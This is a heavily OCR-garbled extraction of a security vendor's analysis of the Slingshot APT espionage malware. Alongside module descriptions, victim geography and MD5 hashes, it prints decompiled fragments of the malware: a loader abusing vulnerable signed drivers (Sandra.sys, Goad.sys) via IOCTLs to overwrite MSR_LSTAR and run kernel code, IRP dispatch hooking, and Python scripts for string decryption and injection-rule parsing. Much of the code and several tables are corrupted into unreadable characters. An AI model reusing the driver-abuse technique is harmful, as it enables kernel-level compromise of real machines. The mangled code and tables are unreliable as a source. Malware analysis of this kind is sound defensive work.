The Slingshot APT
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Ring0 loader
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66 Dlock_UxUFUUUUUE = ;eaFEh_SFeciFied;hlock_SDhBSB(&tmp_block, vector_modules_from_fake_scesru, BxCFO00069);

67| create_vector_3D3F7C(&uector_0OxCFOO0009, block_0xCFOO0069->count, Dlock_UxUFGUBUGQ—)Uirtual_addr);
68| if ( ftuector_OxCFO00009.value_offset.Virtual_addr )

69 {

78 logger_3D3684(L" -> Missing element in DataDir -- cannot install\n", not_used_argu);
7 u6 = CreateTLS_obj_and_saveCapturedStack_3D3D6C(13, Bx5A6947);
72 tmp_block.Virtual_addr = HIDWORD{u6);

73 status = v6;

74|LABEL_5:

75 j_free_vector_3D3F1D(u4, &uector_0xCFO00009);

76|LABEL_52:

77 disable_LoadDriverPrivilege_3D4482();

78 goto LABEL_53;

79

80| block_0xBFO00061 = search_specified_block_3D4858(&tmp_block, vector_modules_from_fake_scesru, BxBF8068061);
81| create_vector_3D3F7C(&primary_loader_vect, block_OxBFO66001->count, block_0xBFO00661->Virtual_addr);

82| if ( tprimary_loader_vect.value_offset.Virtual_addr )

83 logger_3D3684(L" -> Primary loader not present in the DataDir\n", not_used_argu);

84| block3 = search_specified_block_3D4658(&tmp_block, vector_modules_from_fake_scesru, BxBF00680802);

85| create_vector_3D3F7C(&secondary_loader_vect, block3->count, block3->Uirtual_addr);

86| if ( tsecondary_loader_vect.value_offset.VUirtual_addr )

87 logger_3D3684(L" -> Secondary loader not present in the DataDir.\n", not_used_argu);

88| if ( tprimary_loader_vect.value_offset.Virtual_addr && ?secondary_loader_vect.value_offset.Virtual_addr )

90 logger 30368u(L —> P|1mary and secondary loadens not auallable -- cannot install\n", not_used_argu);
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11| HKernelDriver = CreateFileW(L"\\\\.\\amxpci”, 6xC0006008, 6, 8, 3u, 0x86u, @);// default args
12| if ( KernelDriver == -1 )

13| {

14 u3 = GetLastError();

15 logger_3F1D82(L" -> [Goad] ERROR in CreateFile: 8x%x\n", u3);
16 error = error_3F236D(u3, Bx2C6F67);

17

18| else if ( DeviceloControl(KernelDriver, 0x222800u, code_to_execute_in_kernel_mode, size_of_code, 8, 8, &7, 8) )
19| (£

20 if ( KernelDriver )
21 CloseHandle{KernelDriver);
22 error = 0i64;
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31| vl = kernel32_CreateFileA{"\\\\.\\Sandra", 6xC006006068, 6, 6, 3, 0x80, 0);

32| v2 = vl;

33 if (vl == -1)

34l ¢

35 v3 = (kernel32_GetLastError)();

36 (logger)(™ -> [Sandra] ERROR in CreateFile: 8x%x\n", u3);

37 result = error_638DO{v3, 238, 28260);

38| )

39| else

48|

11 vil7 = &unk_67CCH;

42 vig = vi;

43 vi19 = &kernel32_CloseHandle;

L4y HIDWORD(msr[8]) = 6xC0000082; // MSR_LSTAR

45 if ( kernel32_DeviceloControl{vi, B8x22E438, msr, B8x10i64, nsr, B8x18, &eturned, 8) )
46 {

47 (logger)(™ -> [Sandra] VUalue from IOCTL_RDMSR: B8x%I64X\n", msr[1]);

48 *&:inew_msr[57] = HIDWORD(nsr[1]);

49 *&:inew_msr[52] = msr[1];

58 *&:inew_msr[128] = msr[1];

51 *&::inew_msr[708] = sub_627BC;

52 dword_69BC8 = 0xC0000010;

53 LODWORD(v7) = (kernel32_UirtualAlloc)(Bi6k4, 40896i64, 4096164, 64i64);

54 p_new_msr = u7;

55 memcopy(v7, ::new_msr, dword_696D8);

56 HIDWORD(new msr[B8]) = B6xC0080082; /7 MSR_LSTAR

57 new _msr[1] = p_new_nmsr;

58 (logger)(' -> [Sandra] New value for IOCTL_WRMSR: 0x2p\n", p_new _msr);

59 LODWORD(v?9) = (Kkernel32_GetCurrentProcess)();

60 (kernel32_SetPriorityClass)(v?, 256i64);

61 LODWORD(u168) = (Kernel32_GetCurrentThread)();

62 (kernel32_SetThreadPriority)(uv16, 15i64);

63 if ( kernel32_DeviceloControl{v2?, B8x22A434, new nsr, B8x10i64, new nsr, 8x18, &eturned, 8) )
64 {

65 (kernel32_SleepEx)(1i64); // trigger ringzerocode by calling API
66 (logger)(" -> [Sandra] RingZeroCode returned status: Bx%x\n", dword_69BC8) ;
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312E31851EQFC2072DBF9A128557D6EF | Goad.sys - driver for x86 systems

5F9785E7535F8F602CB294A54962C9E7 | SpeedFan.sys - CVE-2007-5633

9a237fa07ce3ed@b6ea924a9bed4ab6b99 | Sandra.sys - CVE-2010-1592

978CD6D9666627842340EF774FD9E2AC | E1byCDIO.sys - CVE-2009-0824
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Slingshot APT — the main malicious modules

Slingshot — an advanced, cyber-espionage threat actor targeting individuals and organizations
in Africa and the Middle East, from at least 2012 until February 2018

Cahnadr (aka Ndriver) - kernel mode
@ « Anti-debug & anti-rootkit actions
« Injects and supports GollumApp
( » Monitors network devices
« Hides traffic

« Sets sleep time in case of system
shut-down — and more

5@ ©

Slingshot attacks and Downloads malicious Data exfiltration
infects victims through modules including two 2 GollumApp - user mode
compromised routers huge ones: Cahnadr & L Information gathered by
GollumApp —— . !nforma(lon gathering: gasswords, GollumApp encrypts twice and
— clipboard, camera, hard disc patterns, USB sends over the net. Cahnadr
- devices & connections, desktop activity - and can make this communication
more . totally invisible to the user.
« Can run processes with system privileges
KAsPERsKY‘g GRE’\1' AMR © 2018 AO Kaspersky Lab. All Rights Reserved

Cahnadr — main kernel-mode payload
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func_name_addr_flag_1408009948 func_name_addr_flag <offset aNtcreatethre_0, \
; DATA XREF: make_services_import_14680168C8C+31F 0

offset NtCreateThread_140802EGB8, 1> ; "NtProtectUirtuallemory™ ...
func_name_addr_flag <offset aNtcreatethread, \

offset NtCreateThreadEx_14002E0CO, 0>
func_name_addr_flag <offset aNtresumethread, \

offset NtResumeThread_14002E6C8, 1>
func_name_addr_flag <offset aNtwritevirtual, \

offset NtWriteUirtualMemory_14862E6DB, 1>
func_name_addr_flag <offset aNtprotectuvirtu, \

offset NtProtectVUirtualMemory_140802E0D8, 1>
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" RST = hook NULL_driver_14882AA20;

6 }

7 _RCX = this_1->Driver_Null;

69 __asm { xchg rax, [rcx+8eh] } // IRP_MJ_CLOSE

70 _RCX = this_1->Driver_Null;

71 this_1->origin_IRP_MJ_CLOSE = RAX;

73 __asm { xchg rax, [rcx+@Eeh] } // IRP_MJ_DEVICE_CONTROL

74 _RCX = this_1->Driver_PCI;

75 this 1->origin_IRP_MJ_DEVICE_CONTROL = RAX;

76 _RAX = _RSI;

77 __asm { xchg rax, [rcx+128h] } // IRP_MJ_POWER

78 this_1->origin_IRP_MJ_POWER = _RAX;

79 _RAX = this_1->Driver_Null;

__asm { xchg rsi, [rax+@Feh] } // IRP_MJ_SHUTDOWN
81 21 = this_1->Driver_Null;
82 this_1->origin_IRP_MJ_SHUTDOWN = RSI;
) 83 22 = IoRegisterShutdownNotification(v21->DeviceObject); )

= 21") " 874$=9)8$""$(
17 DriverObject_1->DriverUnload = (PDRIVER_UNLOAD)sub_1C0808681280;
18 DriverObject_1->MajorFunction[IRP_MJ_CREATE] = (PDRIVER_DISPATCH)sub_1C60616680;
19 DriverObject_1->MajorFunction[IRP_MJ_CLOSE] = (PDRIVER_DISPATCH)sub_1C0661660;
20 DriverObject_1->MajorFunction[IRP_MJ_READ] = (PDRIVER_DISPATCH)sub_1C0608061000;
21 DriverObject_1->MajorFunction[IRP_MJ_WRITE] = (PDRIVER_DISPATCH)sub_1C0061600;
22 DriverObject_1->MajorFunction[IRP_MJ_LOCK_CONTROL] = (PDRIVER_DISPATCH)sub_1C086010060;
23 DriverObject_1->MajorFunction[IRP_MJ_QUERY_INFORMATION] = (PDRIVER_DISPATCH)sub_1CB860810600;
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6| if ( ExGetPreviousHode() *= 1

7 || KeGetCurrentlrql()

8 || (data_from_usermode = *(__readfsdword(0x18) + Ox14), (xoul_data_from_usermode = data_from_usermode) == @)
9 || data_from_usermode->magic_const = 8x2BADDBGD )
18| ¢

11 found = B3

12| 3

13| else

14 £

15 found = data_from_usermode->cmd_type ?= 8;

16| 3
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found PSP name versions | bitness | process to inject
0:FES$:1+"7" » » RFF 7b3 0:@80#A+" 7"
0:FES$:1+"7" 5 2 RFF 7.9 4" $$A0. g+ 7™
0:@9#0=+"7" » »RFF 7b3 0:@9#0=+"7"
0:@9#0=+"7" » »RFF 7.9 0:@%$#<<00+ 7"
0:B+"7" ,*R,C 7b3R7.g | E4T&@& "+ T"
0:B+"7" ,4R,1 7b3 0:B+7"

0:B+"7" ,AR,1 7.9 %085+ 7™

0:B+"7" ,AR,A 7b3R7.g | 1$0$H+" 7"

0:0%98"" 7" » 5 RFF 7b3 0:0%98" 7"

0:0%984"" 7" » 5 RFF 7.9 Ef"&0&"+"7"

0:@" 97" 5 5 RFF 7b3 0:@80#A"T"

0:@"9"7" » 5 RFF 7.9 1"$$A0._ gt 7"'w0 - $20A&E+"T"
0:@8%"7" » 5 RFF 7b3R7.g9 | E4"I&E&"+"T"

GAO@" "9+ 7" » »RFF 7b3R7.g | GAO@" "9+ 7"

1FB+"'7" » »RFF 7b3R7.g | 1FB+"7"

10$1+"7" ,CR,4 Tb3R7.g | $:128$%+"7"

10147 ,€R, 7Th3R7.g | "#&#
A"FUTATHAQT <& THMT |, LRFF 7h3R7.g | "Hi&#

"asH"7" , .RFF 7b3R7.g | A"FO8N)R)$: 12899+ 7"
FSAFEAT" , .RFF 7b3R7.g | A"FO8N)R)$: 12899+ 7"
<10Q""9+"7" » »RFF 7b3R7.g | E4T&@& "+ T"
#P0H0=+""7" » »RFF 7b3 #P0#0=+"" 7"

#P9H0=+"" 7" » »RFF 7.9 &S

#9:$10"+"7" , .RFF 7b3R7.g | A"FO8N)R)$: 12899+ 7"
9<B#&T=1"T" » »RFF 7b3R7.g | 9<B#&T="T"
8<T1FQ:"T" ,CR,4 | Tb3R7.g | A"FO8N)R)$: 12899+ 7"
8<TIF@+"T" ,€R, 7Th3R7.g | "Hi&#

PILY™ = g7 » »RFF 7Th3R7.g | "Hi&#
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m Kenya

= Yemen

m Libya
Afghanistan

= [raq, Tanzania, Greece, Jordan, Mauritius, Somalia, Tunisia, Turkey, UAE



Slingshot — global attack geography

Countries targeted by the Slingshot APT from at least 2012 until Feb 2018,
according to Kaspersky Lab detection data

Nearly 100 victims DRCongo ¢ Sudan Libya ¢ Turkey 0‘ Jordan Iraq Yemen o Afghanistan
Including individuals, \
government organizations !
— and institutions | i |
Over half of attacks targeted aa -
Kenya and Yemen '—v
\

Somalia

> Kenya

o Tanzania
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Conclusions
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String decryption

T"$9" 0A)&F)$9&:H " 0)$944 ™ @%)4 " JHOE) : 1 ED)$&<")1&<<B&"*' " 9$)$984"'$)92"" <)t )" * 1#=B9"'A) :§"'E)0 " A)A" 14=B99)
E2" "L " " A" AN I 2H$)F8 " 1988 " Ji<<B?'' <" "9$)A" 1#=BOI& ")E2112)10")G"")8$" A)F&#)F8#92"#)0 " 01=FH$+
def get name (name) :

bytearray (b'\xE0\x80\xC5\xAF\xB5\xD7\xC4\xA1\xBD\xBA\xE4\xDA\x96\xBF
\x9A\x8A\x9A\xA8\xBE\xD2\x85\x84\xC4\xB0\xAA\xXxEA\xD8\xAC\xC4\xF3\xXAF

size = len (name)

ind //
32) //

ind

ind

2 % 32)

in range (len (name)) :
key 1 = key[ind]
name[1] "= key 1i
ind += 1
tmp = ( 0x8421085 * ind ) //
ind -= (((ind - tmp) // 2 + tmp)

275 % 32
// 16)

* 0Ox1F

Spork rules viewer

HE)<<""94& " " A)OG&: "'0)$B&HC)1& " 904" $)$" HIOMP " A)#B?"'$)8% " A)G=)#87"$)" " @k " '")9&) 12" 1C)E2i12) I ; 1)i$)

1" $907" A1) J 218)$1#1BO)B#H " 95)#87" $)i " 4" 0A0G?") - "' E)F&#)IE &)9=B"'$)&F)A090G0$"'$)- . )&#)4)G=9""$)B" #)#87"'5()
import argparse

import struct

def get byte(data, offset):
byte range = datal[offset : offset + 1]
return struct.unpack('<B', byte range) [0]

def get short (data, offset):
byte range = datal[offset : offset + 2]
return struct.unpack('<H', byte range) [0]

class rule:
rule size = 8
def init (self,

raw rule):

self.index process name = get byte(raw rule, 0)
self.index process to inject = [get byte(raw rule,

1) ]

if rule size

offset = 2




self.index process to inject.append(get byte(raw rule

if get byte(raw rule, 3) != 0:

self.index process to inject.append(get byte(raw rule

min version = get byte(raw rule, 2 + offset)
max version = get byte(raw rule, 3 + offset)
flags = get byte(raw rule, 4 + offset)

type of action = get byte(raw rule, 5 + offset)

class rule db:
def init (self, input file):
data = bytearray(open (input file, "rb").read())

rules count = get byte(data, O0)
strings count = get byte(data, 1)

for 1 in xrange (self.rules count) :
self.rules.append(rule(data[2 + 1 * rule.rule size
1 * rule.rule size + rule.rule size]))

self.offsets =

self.strings =
for 1 in xrange (self.strings count) :

self.offsets.append(get short (data, 2 + self.rules count
.rule size + 1 * 2))

curr = start = self.offsets[i]

while data[curr] !'= O:

curr += 1
self.strings.append(str (data[start : currl]))

def print info(self):
for rule in self.rules:
process_to inject = 'svchost.exe'
if rule.type of action == 1:
process _to inject = '
elif rule.type of action ==
process _to inject =
self.strings[rule.index process name]
elif rule.type of actio
process _to inject = 'lsass.exe'
elif rule.type of action == 4:
process to inject = 'winlogon.exe'
elif rule.type of action == 6:
process to inject = '/'.join([self.strings[i]
in rule.index process to inject])
bitness = 'x32-x64'
if rule.flags

for

bitness
elif rule.flags
bitness = 'x64'



print ('PSP: %$s\tversion: $%$02x-%02x\tbitness: %s\ttarget:
%s' % (self.strings[rule.index process name], rule.min version,
rule.max version, bitness, process to inject) )

parser = argparse.ArgumentParser ()
parser.add argument ('input file')
args = parser.parse args ()

for rule size in

rule.rule size = rule size
db = rule db(args.input file)
db.print info ()

HBB' " Ab7)IMR)T* At109&#$)&F)1& <B#&<<i$"

MD5

042cc382acb5b2b70c78baa77bb7c5f9
11ccc2c5811c80f2a796817d9ccbe34b
142970f7e10e3a49e583b2f557dcbe79
64f705e55545a371e0f5e599cfbae5e9
6637dbcc6059ale2e45956d98a3ea590
706269c041d94c4501b78c128f1c0e70
7fb82333aa08f4bfbbfa515e7e93bad4
87a28a99697452a37fc229b3aa3afe97
afaff3310d8c094774dabba856cla30e
b7a2525e05769540f48733d5673a77fa
c638169aaa777d4f6eae43205a39e274
db71aed3b9ffbbfad4c49db036520ceeb
£4944c5d47907ce93819aed8c4f76bcc
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